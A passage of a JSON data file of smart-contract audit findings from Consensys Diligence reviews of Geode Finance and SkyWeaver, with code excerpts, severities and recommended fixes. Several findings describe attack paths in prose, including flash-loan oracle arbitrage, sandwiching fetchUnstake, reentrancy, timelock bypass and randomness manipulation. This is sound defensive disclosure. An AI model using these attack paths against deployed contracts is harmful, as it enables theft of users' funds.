can with a flash loan. They would then bundle the reportOracle transaction. Finally, they would redeem all the gETH for ETH at a higher price per share value as the last transaction in the bundle. This paired with the fact that oracle might be updated less frequently than once per day, could lead to the fact that profits from this attack will outweigh the fees for performing it. Fortunately, due to the nature of the protocol, the price fluctuations from day to day will most likely be smaller than the fees encountered during this arbitrage, but this is still something to be aware of when updating the values for DWP donations and fees. But it also makes it crucial to update the oracle every day not to increase the profit margins for this attack. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.6 Updating interfaces of derivatives is done in a dangerous and unpredictable manner. ", "body": " Description Geode Finance codebase provides planet maintainers with the ability to enable or disable different contracts to act as the main token contract. In fact, multiple separate contracts can be used at the same time if decided so by the planet maintainer. Those contracts will have shared balances but will not share the allowances as you can see below: code/contracts/Portal/helpers/ERC1155SupplyMinterPauser.sol:L47 mapping(uint256 => mapping(address => uint256)) private _balances; code/contracts/Portal/gETHInterfaces/ERC20InterfaceUpgradable.sol:L60 mapping(address => mapping(address => uint256)) private _allowances; Unfortunately, this approach comes with some implications that are very hard to predict as they involve interactions with other systems, but is possible to say that the consequences of those implications will most always be negative. We will not be able to outline all the implications of this issue, but we can try and outline the pattern that they all would follow. Examples There are really two ways to update an interface: set the new one and immediately unset the old one, or have them both run in parallel for some time. Let s look at them one by one. in the first case, the old interface is disabled immediately. Given that interfaces share balances that will lead to some very serious consequences. Imagine the following sequence: Alice deposits her derivatives into the DWP contract for liquidity mining. Planet maintainer updates the interface and immediately disables the old one. DWP contract now has the old tokens and the new ones. But only the new ones are accounted for in the storage and thus can be withdrawn. Unfortunately, the old tokens are disabled meaning that now both old and new tokens are lost. This can happen in pretty much any contract and not just the DWP token. Unless the holders had enough time to withdraw the derivatives back to their wallets all the funds deposited into contracts could be lost. This leads us to the second case where the two interfaces are active in parallel. This would solve the issue above by allowing Alice to withdraw the old tokens from the DWP and make the new tokens follow. Unfortunately, there is an issue in that case as well. Some DeFi contracts allow their owners to withdraw any tokens that are not accounted for by the internal accounting. DWP allows the withdrawal of admin fees if the contract has more tokens than balances[] store. Some contracts even allow to withdraw funds that were accidentally sent to the contract by people. Either to recover them or just as a part of dust collection. Let s call such contracts dangerous contracts for our purposes. Alice deposits her derivatives into the dangerous contract. Planet maintainer sets a new interface. Owner of the dangerous contract sees that some odd and unaccounted tokens landed in the contract. He learns those are real and are part of Geode ecosystem. So he takes them. Old tokens will follow the new tokens. That means Alice now has no claim to them and the contract that they just left has broken accounting since numbers there are not backed by tokens anymore. One other issue we would like to highlight here is that despite the contracts being expected to have separate allowances, if the old contract has the allowance set, the initial 0 value of the new one will be ignored. Here is an example: Alice approves Bob for 100 derivatives. Planet maintainer sets a new interface. The new interface has no allowance from Alice to Bob. Bob still can transfer new tokens from Alice to himself by transferring the old tokens for which he still has the allowance. New token balances will be updated accordingly. Alice could also give Bob an allowance of 100 tokens in the new contract since that was her original intent, but this would mean that Bob now has 200 token allowance. This is extremely convoluted and will most likely result in errors made by the planet maintainers when updating the interfaces. Recommendation The safest option is to only allow a list of whitelisted interfaces to be used that are well-documented and audited. Planet maintainers could then choose the once that they see fit. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.7 A sandwich attack on fetchUnstake ", "body": " Description Operators are incentivized to withdraw the stake when there is a debt in the system. Withdrawn ETH will be sold in the DWP, and a portion of the arbitrage profit will be sent to the operator. But the operators cannot unstake and earn the arbitrage boost instantly. Node operator will need to start the withdrawal process, signal unstake, and only then, after some time, potentially days, Oracle will trigger fetchUnstake and will take the arbitrage opportunity if it is still there. code/contracts/Portal/utils/StakeUtilsLib.sol:L1276-L1288 function fetchUnstake( StakePool storage self, DataStoreUtils.DataStore storage DATASTORE, uint256 poolId, uint256 operatorId, bytes[] calldata pubkeys, uint256[] calldata balances, bool[] calldata isExit ) external { require( msg.sender == self.TELESCOPE.ORACLE_POSITION, \"StakeUtils: sender NOT ORACLE\" ); In reality, the DWP contract s swap function is external and can be used by anyone, so anyone could try and take the arbitrage. code/contracts/Portal/withdrawalPool/Swap.sol:L341-L358 function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline external payable virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); In fact, one could take this arbitrage with no risk or personal funds. This is due to the fact that fetchUnstake() could get sandwiched. Consider the following case: There is a debt in the DWP and the node operator decides to withdraw the stake to take the arbitrage opportunity. After some time the Oracle will actually finalize the withdrawal by calling fecthUnstake. If debt is still there MEV searcher will see that transaction in the mem-pool and will take an ETH loan to buy cheap gETH. fetchUnstake() will execute and since the debt was repaid in the previous step all of the withdrawn ETH will go into surplus. Searcher will redeem gETH that they bought for the oracle price from surplus and will get all of the profit. At the end of the day, the goal of regaining the peg will be accomplished, but node operators will not be interested in withdrawing early later. This will potentially create unhealthy situations when withdrawals are required in case of a serious de-peg. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.8 Only the GOVERNANCE can initialize the Portal ", "body": " Description In the Portal s initialize function, the _GOVERNANCE is passed as a parameter: code/contracts/Portal/Portal.sol:L156-L196 function initialize( address _GOVERNANCE, address _gETH, address _ORACLE_POSITION, address _DEFAULT_gETH_INTERFACE, address _DEFAULT_DWP, address _DEFAULT_LP_TOKEN, address _MINI_GOVERNANCE_POSITION, uint256 _GOVERNANCE_TAX, uint256 _COMET_TAX, uint256 _MAX_MAINTAINER_FEE, uint256 _BOOSTRAP_PERIOD ) public virtual override initializer { __ReentrancyGuard_init(); __Pausable_init(); __ERC1155Holder_init(); __UUPSUpgradeable_init(); GEODE.SENATE = _GOVERNANCE; GEODE.GOVERNANCE = _GOVERNANCE; GEODE.GOVERNANCE_TAX = _GOVERNANCE_TAX; GEODE.MAX_GOVERNANCE_TAX = _GOVERNANCE_TAX; GEODE.SENATE_EXPIRY = type(uint256).max; STAKEPOOL.GOVERNANCE = _GOVERNANCE; STAKEPOOL.gETH = IgETH(_gETH); STAKEPOOL.TELESCOPE.gETH = IgETH(_gETH); STAKEPOOL.TELESCOPE.ORACLE_POSITION = _ORACLE_POSITION; STAKEPOOL.TELESCOPE.MONOPOLY_THRESHOLD = 20000; updateStakingParams( _DEFAULT_gETH_INTERFACE, _DEFAULT_DWP, _DEFAULT_LP_TOKEN, _MAX_MAINTAINER_FEE, _BOOSTRAP_PERIOD, type(uint256).max, type(uint256).max, _COMET_TAX, 3 days ); But then it calls the updateStakingParams function, which requires the msg.sender to be the governance: code/contracts/Portal/Portal.sol:L651-L665 function updateStakingParams( address _DEFAULT_gETH_INTERFACE, address _DEFAULT_DWP, address _DEFAULT_LP_TOKEN, uint256 _MAX_MAINTAINER_FEE, uint256 _BOOSTRAP_PERIOD, uint256 _PERIOD_PRICE_INCREASE_LIMIT, uint256 _PERIOD_PRICE_DECREASE_LIMIT, uint256 _COMET_TAX, uint256 _BOOST_SWITCH_LATENCY ) public virtual override { require( msg.sender == GEODE.GOVERNANCE, \"Portal: sender not GOVERNANCE\" ); So only the future governance can initialize the Portal. In the case of the Geode protocol, the governance will be represented by a token contract, making it hard to initialize promptly. Initialization should be done by an actor that is more flexible than governance. Recommendation Split the updateStakingParams function into public and private ones and use them accordingly. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.9 The maintainer of the MiniGovernance can block the changeMaintainer function ", "body": " Description Every entity with an ID has a controller and a maintainer. The controller tends to have more control, and the maintainer is mostly used for operational purposes. So the controller should be able to change the maintainer if that is required. Indeed we see that it is possible in the MiniGovernance too: code/contracts/Portal/MiniGovernance/MiniGovernance.sol:L224-L246 function changeMaintainer( bytes calldata password, bytes32 newPasswordHash, address newMaintainer external virtual override onlyPortal whenNotPaused returns (bool success) require( SELF.PASSWORD_HASH == bytes32(0) || SELF.PASSWORD_HASH == keccak256(abi.encodePacked(SELF.ID, password)) ); SELF.PASSWORD_HASH = newPasswordHash; _refreshSenate(newMaintainer); success = true; Here the changeMaintainer function can only be called by the Portal, and only the controller can initiate that call. But the maintainer can pause the MiniGovernance, which will make this call revert because the _refreshSenate function has the whenNotPaused modifier. Thus maintainer could intentionally prevent the controller from replacing it by another maintainer. Recommendation Make sure that the controller can always change the malicious maintainer. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.10 Entities are not required to be initiated ", "body": " Description Every entity (Planet, Comet, Operator) has a 3-step creation process: Creation of the proposal. Approval of the proposal. Initiation of the entity. The last step is crucial, but it is never explicitly checked that the entity is initialized. The initiation always includes the initiator modifier that works with the \"initiated\" slot on DATASTORE: code/contracts/Portal/utils/MaintainerUtilsLib.sol:L46-L72 modifier initiator( DataStoreUtils.DataStore storage DATASTORE, uint256 _TYPE, uint256 _id, address _maintainer ) { require( msg.sender == DATASTORE.readAddressForId(_id, \"CONTROLLER\"), \"MaintainerUtils: sender NOT CONTROLLER\" ); require( DATASTORE.readUintForId(_id, \"TYPE\") == _TYPE, \"MaintainerUtils: id NOT correct TYPE\" ); require( DATASTORE.readUintForId(_id, \"initiated\") == 0, \"MaintainerUtils: already initiated\" ); DATASTORE.writeAddressForId(_id, \"maintainer\", _maintainer); _; DATASTORE.writeUintForId(_id, \"initiated\", block.timestamp); emit IdInitiated(_id, _TYPE); But this slot is never actually checked when the entities are used. While we did not find any profitable attack vector using uninitiated entities, the code will be upgraded, which may allow for possible attack vectors related to this issue. Recommendation Make sure the entities are initiated before they are used. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.11 Node operators are not risking anything when abandoning their activity or performing malicious actions ", "body": " Description During the staking process, the node operators need to provide 1 ETH as a deposit for every validator that they would like to initiate. After that is done, Oracle needs to ensure that validator creation has been done correctly and then deposit the remaining 31 ETH on chain as well as reimburse 1 ETH back to the node operator. The node operator can then proceed to withdraw the funds that were used as initial deposits. As the result, node operators operate nodes that have 32 ETH each and none of which originally belonged to the operator. They essentially have no skin in the game to continue managing the validators besides a potential share in staking rewards. Instead, node operators could stop operation, or try to get slashed on purpose to create turmoil around derivatives on the market and try to capitalize while shorting the assets elsewhere. Recommendation Senate will need to be extra careful when approving operator onboarding proposals or potentially only reimburse the node operators the initial deposit after the funds were withdrawn from the MiniGovernance. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.12 Planets should not act as operators ", "body": " Description The system stores every entity (e.g., planet, comet, and operator) separately in DATASTORE under different IDs. But there is one exception, every planet can also act as an operator by default. This exception bypasses the general rule and goes against some expectations readers might have about the code: Every entity with ID has fees; they are stored in DATASTORE for each entity DATASTORE.readUintForId(id, \"fee\"). The fees for a planet and an operator should be able to be different. But if a planet acts like an operator, both fees are stored under the same variable. The same problem arises with the maintainer address. Since there will probably be different scripts for maintaining a planet and an operator, having separate addresses for the maintainers would make sense. Every operator should be initialized before usage, but it is impossible to initialize a planet as an operator. There are two reasons behind it. First, only the original Operator type can call initiateOperator, while the planet will have a Planet type . Second, an entity cannot be initialized twice; even different initialization functions use the same initiated storage slot. Recommendation Do not allow planets to be operators in the code. If every planet should be able to act as an operator simultaneously, it is better to create separate operator entities for every planet. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.13 The blameOperator can be called for an alienated validator ", "body": " Description The blameOperator function is designed to be called by anyone. If some operator did not signal to exit in time, anyone can blame and imprison this operator. code/contracts/Portal/utils/StakeUtilsLib.sol:L1205-L1224 /** @notice allows improsening an Operator if the validator have not been exited until expectedExit @dev anyone can call this function @dev if operator has given enough allowence, they can rotate the validators to avoid being prisoned / function blameOperator( StakePool storage self, DataStoreUtils.DataStore storage DATASTORE, bytes calldata pk ) external { if ( block.timestamp > self.TELESCOPE._validators[pk].expectedExit && self.TELESCOPE._validators[pk].state != 3 ) { OracleUtils.imprison( DATASTORE, self.TELESCOPE._validators[pk].operatorId ); The problem is that it can be called for any state that is not 3 (self.TELESCOPE._validators[pk].state != 3). But it should only be called for active validators whose state equals 2. So the blameOperator can be called an infinite amount of time for alienated or not approved validators. These types of validators cannot switch to state 3. The severity of the issue is mitigated by the fact that this function is currently unavailable for users to call. But it is intended to be external once the withdrawal process is in place. Recommendation Make sure that you can only blame the operator of an active validator. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.14 Latency timelocks on certain functions can be bypassed ", "body": " Description The functions switchMaintainerFee() and switchWithdrawalBoost() add a latency of typically three days to the current timestamp at which the new value is meant to be valid. However, they don t limit the number of times this value can be changed within the latency period. This allows a malicious maintainer to set their desired value twice and effectively make the change immediately. Let s take the first function as an example. The first call to it sets a value as the newFee, moving the old value to priorFee, which is effectively the fee in use until the time lock is up. A follow-up call to the function with the same value as a parameter would mean the new value overwrites the old priorFee while remaining in the queue for the switch. Examples code/contracts/Portal/utils/MaintainerUtilsLib.sol:L311-L333 function switchMaintainerFee( DataStoreUtils.DataStore storage DATASTORE, uint256 id, uint256 newFee ) external { DATASTORE.writeUintForId( id, \"priorFee\", DATASTORE.readUintForId(id, \"fee\") ); DATASTORE.writeUintForId( id, \"feeSwitch\", block.timestamp + FEE_SWITCH_LATENCY ); DATASTORE.writeUintForId(id, \"fee\", newFee); emit MaintainerFeeSwitched( id, newFee, block.timestamp + FEE_SWITCH_LATENCY ); code/contracts/Portal/utils/MaintainerUtilsLib.sol:L296-L304 function getMaintainerFee( DataStoreUtils.DataStore storage DATASTORE, uint256 id ) internal view returns (uint256 fee) { if (DATASTORE.readUintForId(id, \"feeSwitch\") > block.timestamp) { return DATASTORE.readUintForId(id, \"priorFee\"); return DATASTORE.readUintForId(id, \"fee\"); Recommendation Add a check to make sure only one value can be set between time lock periods. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.15 MiniGovernance s senate has almost unlimited validity ", "body": " Description A new senate for the MiniGovernance contract is set in the following line: code/contracts/Portal/MiniGovernance/MiniGovernance.sol:L201 GEM._setSenate(newSenate, block.timestamp + SENATE_VALIDITY); The validity period argument should not include block.timestamp, because it is going to be added a bit later in the code: code/contracts/Portal/utils/GeodeUtilsLib.sol:L496 self.SENATE_EXPIRY = block.timestamp + _senatePeriod; So currently, every senate of MiniGovernance will have much longer validity than it is supposed to. Recommendation Pass onlySENATE_VALIDITY in the _refreshSenate function. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.16 Proposed validators not accounted for in the monopoly check. ", "body": " Description The Geode team introduced a check that makes sure that node operators do not initiate more validators than a threshold called MONOPOLY_THRESHOLD allows. It is used on call to proposeStake(...) which the operator would call in order to propose new validators. It is worth mentioning that onboarding new validator nodes requires 2 steps: a proposal from the node operator and approval from the planet maintainer. After the first step validators get a status of proposed. After the second step validators get the status of active and all eth accounting is done. The issue we found is that the proposed validators step performs the monopoly check but does not account for previously proposed but not active validators. Examples Assume that MONOPOLY_THRESHOLD is set to 5. The node operator could propose 4 new validators and pass the monopoly check and label those validators as proposed. The node operator could then suggest 4 more validators in a separate transaction and since the monopoly check does not check for the proposed validators, that would pass as well. Then in beaconStake or the step of maintainer approval, there is no monopoly check at all, so 8 validators could be activated at once. code/contracts/Portal/utils/StakeUtilsLib.sol:L978-L982 require( (DATASTORE.readUintForId(operatorId, \"totalActiveValidators\") + pubkeys.length) <= self.TELESCOPE.MONOPOLY_THRESHOLD, \"StakeUtils: IceBear does NOT like monopolies\" ); Recommendation Include the (DATASTORE.readUintForId(poolId,DataStoreUtils.getKey(operatorId, \"proposedValidators\")) into the require statement, just like in the check for the node operator allowance check. code/contracts/Portal/utils/StakeUtilsLib.sol:L983-L995 require( (DATASTORE.readUintForId( poolId, DataStoreUtils.getKey(operatorId, \"proposedValidators\") ) + DATASTORE.readUintForId( poolId, DataStoreUtils.getKey(operatorId, \"activeValidators\") ) + pubkeys.length) <= operatorAllowance(DATASTORE, poolId, operatorId), \"StakeUtils: NOT enough allowance\" ); ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.17 Comparison operator used instead of assignment operator ", "body": " Description A common typo is present twice in the OracleUtilsLib.sol where == is used instead of = resulting in incorrect storage updates. Examples code/contracts/Portal/utils/OracleUtilsLib.sol:L250 self._validators[_pk].state == 2; code/contracts/Portal/utils/OracleUtilsLib.sol:L269 self._validators[_pk].state == 3; Recommendation Replace == with =. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.18 initiator modifier will not work in the context of one transaction ", "body": " Description Each planet, comet or operator must be initialized after the onboarding proposal is approved. In order to make sure that these entities are not initialized more than once initiateOperator, initiateComet and initiatePlanet have the initiator modifier. code/contracts/Portal/utils/MaintainerUtilsLib.sol:L135-L147 function initiatePlanet( DataStoreUtils.DataStore storage DATASTORE, uint256[3] memory uintSpecs, address[5] memory addressSpecs, string[2] calldata interfaceSpecs external initiator(DATASTORE, 5, uintSpecs[0], addressSpecs[1]) returns ( address miniGovernance, address gInterface, address withdrawalPool code/contracts/Portal/utils/MaintainerUtilsLib.sol:L184-L189 function initiateComet( DataStoreUtils.DataStore storage DATASTORE, uint256 id, uint256 fee, address maintainer ) external initiator(DATASTORE, 6, id, maintainer) { code/contracts/Portal/utils/MaintainerUtilsLib.sol:L119-L124 function initiateOperator( DataStoreUtils.DataStore storage DATASTORE, uint256 id, uint256 fee, address maintainer ) external initiator(DATASTORE, 4, id, maintainer) { Inside that modifier, we check that the initiated flag is 0 and if so we proceed to initialization. We later update it to the current timestamp. code/contracts/Portal/utils/MaintainerUtilsLib.sol:L46-L72 modifier initiator( DataStoreUtils.DataStore storage DATASTORE, uint256 _TYPE, uint256 _id, address _maintainer ) { require( msg.sender == DATASTORE.readAddressForId(_id, \"CONTROLLER\"), \"MaintainerUtils: sender NOT CONTROLLER\" ); require( DATASTORE.readUintForId(_id, \"TYPE\") == _TYPE, \"MaintainerUtils: id NOT correct TYPE\" ); require( DATASTORE.readUintForId(_id, \"initiated\") == 0, \"MaintainerUtils: already initiated\" ); DATASTORE.writeAddressForId(_id, \"maintainer\", _maintainer); _; DATASTORE.writeUintForId(_id, \"initiated\", block.timestamp); emit IdInitiated(_id, _TYPE); Unfortunately, this does not follow the checks-effects-interractions pattern. If one for example would call initiatePlanet again from the body of the modifier, this check will still pass making it susceptible to a reentrancy attack. While we could not find a way to exploit this in the current engagement, given that system is designed to be upgradable this could become a risk in the future. For example, if during the initialization of the planet the maintainer will be allowed to pass a custom interface that could potentially allow reentering. Recommendation Bring the line that updated the initiated flag to the current timestamp before the _;. code/contracts/Portal/utils/MaintainerUtilsLib.sol:L69 DATASTORE.writeUintForId(_id, \"initiated\", block.timestamp); ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.19 Incorrect accounting for the burned gEth ", "body": " Description Geode Portal records the amount of minted and burned gETH on any given day during the active period of the oracle. One case where some gETH is burned is when the users redeem gETH for ETH. In the burn function we burn the spentGeth - gEthDonation but in the accounting code we do not account for gEthDonation so the code records more assets burned than was really burned. Examples code/contracts/Portal/utils/StakeUtilsLib.sol:L823-L832 DATASTORE.subUintForId(poolId, \"surplus\", spentSurplus); self.gETH.burn(address(this), poolId, spentGeth - gEthDonation); if (self.TELESCOPE._isOracleActive()) { bytes32 dailyBufferKey = DataStoreUtils.getKey( block.timestamp - (block.timestamp % OracleUtils.ORACLE_PERIOD), \"burnBuffer\" ); DATASTORE.addUintForId(poolId, dailyBufferKey, spentGeth); Recommendation Record the spentGeth - gEthDonation instead of just spentGeth in the burn buffer. code/contracts/Portal/utils/StakeUtilsLib.sol:L831 DATASTORE.addUintForId(poolId, dailyBufferKey, spentGeth); ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.20 Boost calculation on fetchUnstake should not be using the cumBalance when it is larger than debt. ", "body": " Description The Geode team implemented the 2-step withdrawal mechanism for the staked ETH. First, node operators signal their intent to withdraw the stake, and then the oracle will trigger all of the accounting of rewards, balances, and buybacks if necessary. Buybacks are what we are interested in at this time. Buybacks are performed by checking if the derivative asset is off peg in the Dynamic Withdrawal Pool contract. Once the debt is larger than some ignorable threshold an arbitrage buyback will be executed. A portion of the arbitrage profit will go to the node operator. The issue here is that when simulating the arbitrage swap in the calculateSwap call we use the cumulative un-stake balance rather than ETH debt preset in the DWP. In the case where the withdrawal cumulative balance is higher than the debt node operator will receive a higher reward than intended. Examples code/contracts/Portal/utils/StakeUtilsLib.sol:L1353-L1354 uint256 arb = withdrawalPoolById(DATASTORE, poolId) .calculateSwap(0, 1, cumBal); Recommendation Use the debt amount of ETH in the boost reward calculation when the cumulative balance is larger than the debt. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.21 DataStore struct not having the _gap for upgrades. ", "body": " Description Geode Finance codebase follows a structure where most of the storage variables are stored in the structs. You can see an example of that in the Portal.sol. code/contracts/Portal/Portal.sol:L152-L154 DataStoreUtils.DataStore private DATASTORE; GeodeUtils.Universe private GEODE; StakeUtils.StakePool private STAKEPOOL; It is worth mentioning that Geode contracts are meant to support the upgradability pattern. Given that information, one should be careful not to overwrite the storage variables by reordering the old ones or adding the new once not at the end of the list of variables when upgrading. The issue comes with the fact that structs seem to give a false sense of security making it feel like they are an isolated set of storage variables that will not override anything else. In reality, struts are just tuples that are expanded in storage sequentially just like all the other storage variables. For that reason, if you have two struct storage variables listed back to back like in the code above, you either need to make sure not to change the order or the number of variables in the structs other than the last one between upgrades or you need to add a uint256[N] _gap array of fixed size to reserve some storage slots for the future at the end of each struct. The Geode Finance team is missing the gap in the DataStrore struct making it non-upgradable. code/contracts/Portal/utils/DataStoreUtilsLib.sol:L34-L39 struct DataStore { mapping(uint256 => uint256[]) allIdsByType; mapping(bytes32 => uint256) uintData; mapping(bytes32 => bytes) bytesData; mapping(bytes32 => address) addressData; Recommendation We suggest that gap is used in DataStore as well. Since it was used for all the other structs we consider it just a typo. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "4.1 Gold order size should be limited Addressed", "body": " Resolution Addressed in horizon-games/SkyWeaver-contracts#9 by adding a limit for cold cards amount in one order. Description When a user submits an order to buy gold cards, it s possible to buy a huge amount of cards. _commit function uses less gas than mineGolds, which means that the user can successfully commit to buying this amount of cards and when it s time to collect them, mineGolds function may run out of gas because it iterates over all card IDs and mints them: code/contracts/shop/GoldCardsFactory.sol:L375-L376 // Mint gold cards skyweaverAssets.batchMint(_order.cardRecipient, _ids, amounts, \"\"); Recommendation Limit a maximum gold card amount in one order. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.2 Price and refund changes may cause failures Addressed", "body": " Resolution Addressed in horizon-games/SkyWeaver-contracts#3. Fix involves burning the weave when the commit occurs instead of when the minting of the gold cards occur. Description Price and refund for gold cards are used in 3 different places: commit, mint, refund. Weave tokens spent during the commit phase code/contracts/shop/GoldCardsFactory.sol:L274-L279 function _commit(uint256 _weaveAmount, GoldOrder memory _order) internal // Check if weave sent is sufficient for order uint256 total_cost = _order.cardAmount.mul(goldPrice).add(_order.feeAmount); uint256 refund_amount = _weaveAmount.sub(total_cost); // Will throw if insufficient amount received but they are burned rngDelay blocks after code/contracts/shop/GoldCardsFactory.sol:L371-L373 // Burn the non-refundable weave uint256 weave_to_burn = (_order.cardAmount.mul(goldPrice)).sub(_order.cardAmount.mul(goldRefund)); weaveContract.burn(weaveID, weave_to_burn); If the price is increased between these transactions, mining cards may fail because it should burn more weave tokens than there are tokens in the smart contract. Even if there are enough tokens during this particular transaction, someone may fail to melt a gold card later. If the price is decreased, some weave tokens will be stuck in the contract forever without being burned. Recommendation Store goldPrice and goldRefund in GoldOrder. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.3 Re-entrancy attack allows to buy EternalHeroes cheaper Addressed", "body": " Resolution Addressed in horizon-games/SkyWeaver-contracts#4. Minting tokens before sending refunds. Subsequent PR will also add re-entrancy guard for all shops. And re-entrancy guard added here: horizon-games/SkyWeaver-contracts#10 Description When buying eternal heroes in _buy function of EternalHeroesFactory contract, a buyer can do re-entracy before items are minted. code/contracts/shop/EternalHeroesFactory.sol:L278-L284 uint256 refundAmount = _arcAmount.sub(total_cost); if (refundAmount > 0) { arcadeumCoin.safeTransferFrom(address(this), _recipient, arcadeumCoinID, refundAmount, \"\"); // Mint tokens to recipient factoryManager.batchMint(_recipient, _ids, amounts_to_mint, \"\"); Since price should increase after every N items are minted, it s possible to buy more items with the old price. Recommendation Add re-entrancy protection or mint items before sending the refund. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.4 Supply limitation misbehaviors Addressed", "body": " Resolution Logic remains unchanged as it s the desired behaviour. But the issue is mitigated in horizon-games/SkyWeaver-contracts#5 by renaming the term currentSupply to currentIssuance and maxSupply to maxIssuance for maximum clarity. Description In SWSupplyManager contract, the owner can limit supply for any token ID by setting maxSupply: code/contracts/shop/SWSupplyManager.sol:L149-L165 function setMaxSupplies(uint256[] calldata _ids, uint256[] calldata _newMaxSupplies) external onlyOwner() { require(_ids.length == _newMaxSupplies.length, \"SWSupplyManager#setMaxSupply: INVALID_ARRAYS_LENGTH\"); // Can only *decrease* a max supply // Can't set max supply back to 0 for (uint256 i = 0; i < _ids.length; i++ ) { if (maxSupply[_ids[i]] > 0) { require( 0 < _newMaxSupplies[i] && _newMaxSupplies[i] < maxSupply[_ids[i]], \"SWSupplyManager#setMaxSupply: INVALID_NEW_MAX_SUPPLY\" ); maxSupply[_ids[i]] = _newMaxSupplies[i]; emit MaxSuppliesChanged(_ids, _newMaxSupplies); The problem is that you can set maxSupply that is lower than currentSupply, which would be an unexpected state to have. Also, if some tokens are burned, their currentSupply is not decreasing: code/contracts/shop/SWSupplyManager.sol:L339-L345 function burn( uint256 _id, uint256 _amount) external _burn(msg.sender, _id, _amount); This unexpected behaviour may lead to burning all of the tokens without being able to mint more. Recommendation Properly track currentSupply by modifying it in burn function. Consider having a following restriction require(_newMaxSupplies[i] > currentSupply[_ids[i]]) in setMaxSupplies function. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.5 Owner can modify gold cards distribution after someone committed to buy ", "body": " Resolution The client decided not to fix this issue with the following comment: This issue will be addressed by having the owner be a delayed multisig, such that users will have time to witness a change in the distribution that is about to occur. Description When a user commits to buying a gold card (and sends weave), there is an expected distribution of possible outcomes. But the problem is that owner can change distribution by calling registerIDs and deregisterIDs functions. Additionally, owner can buy any specific gold card avoiding RNG mechanism. It can be done by deleting all the unwanted cards, mining the card and then returning them back. And if owner removes every card from the list, nothing is going to be minted. Recommendation There are a few possible recommendations: Fix a distribution for every order after commit(costly solution). Make it an explicit part of the trust model (increases trust to the admins). Cancel pending orders if gold cards IDs are changed. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.6 A buyer of a gold card can manipulate randomness ", "body": " Resolution The client decided not to fix this issue with the following comment: We hereby assume that Horizon will always be willing to mine gold cards even at a loss considering the amount of gold cards that can be created per week is limited. If in practice this becomes a problem, we can upgrade this factory. Description When a user is buying a gold card, _commit function is called. After rngDelay number of blocks, someone should call mineGolds function to actually mint the card. If this function is not called during 255 blocks (around 1 hour), a user should call recommit to try to mint a gold card again with a new random seed. So if the user doesn t like a card that s going to be minted (randomly), user can try again until a card is good. The issue is medium because anyone can call mineGolds function in order to prevent this behaviour. But it costs money and there s no incentive for anyone to do so. Recommendation Create a mechanism to avoid this kind of manipulation. For example, make sure there is an incentive for someone to call mineGolds function ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.7 A refund is sent to recipient ", "body": " Resolution The client decided not to fix this issue with the following comment: It s unlikely users will send inexact amount since price is fixed. If this becomes a problem in practice we can re-deploy the factory with this added functionality. Description When a refund is sent, it s sent to recipient. In case if a user wants to keep game items and money separate, it makes sense to send a refund back to from address. Recommendation Since there may be different use cases, consider adding refundAddress to order structure. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "4.8 Randomness can be manipulated by miners ", "body": " Resolution The client decided not to fix this issue with the following comment: For miners to be able to profit, they would have to forfeit multiple blocks and the desired gold cards would have to be very expensive in the first place (e.g. in the $10k) for it to be worth it for them. In practice, there are also other oppotunities for miners that offer better returns, but if it ever turned out to be a problem, we would see it coming and we can then use a more secure and expensive source of RNG as the gold cards would be very expensive and the additional cost would be worth it. Description Random number generator uses future blockhash as a seed. So it s possible for miners to manipulate that value in order to get a better gold card. The issue is minor because it only makes sense if the cost of the card is high enough to do the extra work on the miner side. Recommendation Use better RNG algorithms if the price of gold cards is high enough for the miners to start manipulation. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/04/skyweaver/"}, {"title": "5.1 TokenFaucet refill can 